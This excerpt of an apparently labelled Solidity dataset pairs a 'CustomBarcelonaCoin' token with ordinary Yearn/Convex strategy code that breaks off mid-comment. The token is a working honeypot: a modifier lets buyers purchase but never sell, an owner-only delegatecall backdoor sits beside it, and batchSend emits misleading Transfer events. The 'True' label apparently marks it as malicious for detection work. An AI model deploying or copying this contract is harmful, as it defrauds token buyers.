constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract CustomBarcelonaCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
require(success);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 9;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
True
|
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102
] |
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// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: Booster
interface Booster {
struct PoolInfo {
address lptoken;
address token;
address gauge;
address crvRewards;
address stash;
bool shutdown;
}
function poolInfo(uint256) external view returns(address,address,address,address,address, bool);
// deposit lp tokens and stake
function deposit(uint256 _pid, uint256 _amount, bool _stake) external returns(bool);
// deposit all lp tokens and stake
function depositAll(uint256 _pid, bool _stake) external returns(bool);
// withdraw lp tokens
function withdraw(uint256 _pid, uint256 _amount) external returns(bool);
// withdraw all lp tokens
function withdrawAll(uint256 _pid) external returns(bool);
// claim crv + extra rewards
function earmarkRewards(uint256 _pid) external returns(bool);
// claim rewards on stash (msg.sender == stash)
function claimRewards(uint256 _pid, address _gauge) external returns(bool);
// delegate address votes on dao (needs to be voteDelegate)
function vote(uint256 _voteId, address _votingAddress, bool _support) external returns(bool);
function voteGaugeWeight(address[] calldata _gauge, uint256[] calldata _weight ) external returns(bool);
}
// Part: ICurveFi
interface ICurveFi {
function add_liquidity(
uint256[2] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
uint256[3] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
uint256[4] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
uint256[2] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
uint256[3] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
uint256[4] calldata amounts,
uint256 min_mint_amount
) external payable;
// crv.finance: Curve.fi Factory USD Metapool v2
function add_liquidity(
address pool,
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function balances(int128) external view returns (uint256);
function get_virtual_price() external view returns (uint256);
}
// Part: IERC20Metadata
interface IERC20Metadata {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// Part: Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: Rewards
interface Rewards{
function pid() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function extraRewardsLength() external view returns (uint256);
function extraRewards(uint256) external view returns (address);
function rewardPerToken() external view returns (uint256);
function rewardPerTokenStored() external view returns (uint256);
function rewardRate() external view returns (uint256);
function rewardToken() external view returns (address);
function rewards(address) external view returns (uint256);
function userRewardPerTokenPaid(address) external view returns (uint256);
function stakingToken() external view returns (address);
function stake(uint256) external returns (bool);
function stakeAll() external returns (bool);
function stakeFor(address, uint256) external returns (bool);
function withdraw(uint256 amount, bool claim) external returns (bool);
function withdrawAll(bool claim) external returns (bool);
function withdrawAndUnwrap(uint256 amount, bool claim) external returns(bool);
function withdrawAllAndUnwrap(bool claim) external;
function getReward() external returns(bool);
function getReward(address _account, bool _claimExtras) external returns(bool);
function donate(uint256 _amount) external returns(bool);
}
// Part: Uni
interface Uni {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
/* Uniswap V3 */
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
function exactInput(
ExactInputParams calldata params
) external payable returns (uint256 amountOut);
function quoteExactInput(
bytes calldata path,
uint256 amountIn
) external view returns (uint256 amountOut);
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.5";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external virtual view returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
